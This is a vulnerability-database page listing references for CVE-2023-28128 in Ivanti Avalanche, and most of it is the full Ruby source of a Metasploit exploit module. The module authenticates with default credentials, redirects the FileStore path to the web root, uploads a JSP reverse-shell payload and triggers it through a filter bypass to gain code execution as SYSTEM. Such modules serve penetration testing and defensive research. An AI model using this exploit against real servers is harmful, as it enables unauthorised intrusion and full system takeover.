| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Ivanti Avalanche FileStoreConfig Shell Upload Exploit | 19 May 202300:00 | – | zdt | |
| CVE-2023-28128 | 10 May 202302:13 | – | circl | |
| Ivanti Avalanche 代码问题漏洞 | 9 May 202300:00 | – | cnnvd | |
| CVE-2023-28128 | 9 May 202300:00 | – | cve | |
| CVE-2023-28128 | 9 May 202300:00 | – | cvelist | |
| Ivanti Avalanche FileStoreConfig File Upload | 16 May 202319:53 | – | metasploit | |
| CVE-2023-28128 | 9 May 202322:15 | – | nvd | |
| Unrestricted file upload | 9 May 202322:15 | – | prion | |
| PT-2023-21585 · Avalanche · Avalanche | 24 Apr 202300:00 | – | ptsecurity | |
| Metasploit Weekly Wrap-Up | 19 May 202318:44 | – | rapid7blog |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ivanti Avalanche FileStoreConfig File Upload',
'Description' => %q{
Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short
names in the configuration path for the Central FileStore. Because of
this, an administrator can change the default path to the web root
of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM.
},
'License' => MSF_LICENSE,
'Author' => [
'Piotr Bazydlo', # @chudypb - Vulnerability Discovery
'Shelby Pace' # Metasploit module
],
'References' => [
['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'],
['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'],
['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'],
['CVE', '2023-28128']
],
'Platform' => ['win', 'java'],
'Privileged' => true,
'Arch' => ARCH_JAVA,
'Targets' => [
[ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }]
],
'DisclosureDate' => '2023-04-24',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]),
OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]),
OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ])
]
)
end
def check
# Cleanup should not be needed after doing just a check.
@cleanup_needed = false
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.jsf'),
'method' => 'GET'
)
return CheckCode::Unknown('Failed to receive a response from the application') unless res
unless res.body.include?('Avalanche - User Login')
return CheckCode::Safe('Application does not appear to be Ivanti Avalanche')
end
html = res.get_html_document
elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) }
return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem
version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/)
return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2
version = version[1]
vprint_status("Version of Ivanti Avalanche appears to be v#{version}")
ver_no = Rex::Version.new(version)
patched_version = Rex::Version.new('6.4.0.186')
if ver_no >= patched_version
CheckCode::Safe('Target has been patched!')
elsif ver_no < patched_version
CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!')
else
CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}")
end
end
def authenticate
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options')
end
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.jsf'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login')
html = res.get_html_document
view_state = get_view_state(html)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'login.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'loginForm' => 'loginForm',
'j_idt8' => '',
'loginField' => datastore['USERNAME'],
'passwordField' => datastore['PASSWORD'],
'TextCaptchaAnswer' => '',
'javax.faces.ViewState' => view_state,
'loginTableButton' => 'loginTableButton'
}
)
unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf')
fail_with(Failure::UnexpectedReply, 'Login failed')
end
end
def get_view_state(html)
view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text
view_state
end
def configure_filestore
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'GET',
'keep_cookies' => true
)
unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first
fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration')
end
html = res.get_html_document
view_state = get_view_state(html)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state
@original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text
fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path
print_status("Original FileStore config path: '#{@original_config_path}'")
# determine drive letter
drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/)
fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3
drive_letter = drive_letter[1]
new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web"
print_status("Changing FileStore config path to '#{new_config_path}'")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',
'formFileStoreConfig' => 'formFileStoreConfig',
'txtUncPath' => new_config_path,
'txtVelocityFolder' => '',
'javax.faces.ViewState' => view_state
}
)
input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first
if input_field_html.blank?
fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!')
elsif input_field_html[:value] != new_config_path
fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path')
end
end
def get_directory_val(res, dir_name)
html = res.get_html_document
results = html.xpath('//tr[contains(@class, "DIRECTORY")]')
fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results
expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name }
fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir
data_rk = expand_dir.at('@data-rk')&.value
fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk
data_rk
end
def expand_folder(data_rk, view_state)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',
'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',
'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree',
'fileStoreTree_dlgFileStoreTree_expand' => data_rk,
'javax.faces.ViewState' => view_state
}
)
end
def select_folder(data_rk, view_state)
@cleanup_needed = true
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' =>
{
'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',
'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',
'javax.faces.behavior.event' => 'select',
'javax.faces.partial.event' => 'select',
'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk,
'form_filestore_tree' => 'form_filestore_tree',
'fileStoreTree_dlgFileStoreTree_selection' => data_rk,
'javax.faces.ViewState' => view_state
}
)
end
def upload_payload
payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp"
# need to 'select' webapps/AvalancheWeb to upload a file
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first
web_data_rk = get_directory_val(res, 'webapps')
view_state = get_view_state(res.get_html_document)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state
res = expand_folder(web_data_rk, view_state)
fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res
avalanche_data_rk = get_directory_val(res, 'AvalancheWeb')
view_state = get_view_state(res.get_html_document)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state
res = select_folder(avalanche_data_rk, view_state)
fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res
view_state = get_view_state(res.get_html_document)
fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state
boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n"
post_data << "upload-form\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n"
post_data << "#{view_state}\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n"
post_data << "true\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n"
post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n"
post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n"
post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n"
post_data << "Content-Type: application/octet-stream\r\n\r\n"
post_data << "#{payload.encoded}\r\n"
post_data << "--#{boundary}--\r\n"
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'data' => post_data,
'headers' => {
'Accept' => 'application/xml, text/xml, */*; q=0.01',
'Faces-Request' => 'partial/ajax',
'X-RequestedWith' => 'XMLHttpRequest',
'Content-Type' => "multipart/form-data; boundary=#{boundary}",
'Accept-Encoding' => 'gzip, deflate'
}
)
fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}")
print_good("Successfully uploaded '#{payload_name}'")
payload_name
end
def cleanup
if @cleanup_needed == false
return
end
restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.'
print_status('Attempting to restore config path')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'GET',
'keep_cookies' => true
)
unless res
print_error("Could not access FileStore config. #{restore_msg}")
return
end
html = res.get_html_document
view_state = get_view_state(html)
unless view_state
print_error("Failed to get view state. #{restore_msg}")
return
end
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',
'formFileStoreConfig' => 'formFileStoreConfig',
'txtUncPath' => @original_config_path,
'txtVelocityFolder' => '',
'javax.faces.ViewState' => view_state
}
)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
'method' => 'GET',
'keep_cookies' => true
)
unless res&.body&.include?(@original_config_path)
print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}")
return
end
print_good('Successfully restored the FileStore config path')
end
def exploit
# Starting off we shouldn't need cleanup, however if we get to the point were we start
# to change config settings then we will need to clean that up.
@cleanup_needed = false
authenticate
configure_filestore
payload_name = upload_payload
register_file_for_cleanup("webapps/#{payload_name}")
send_request_cgi(
'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet
'method' => 'GET',
'keep_cookies' => true
)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation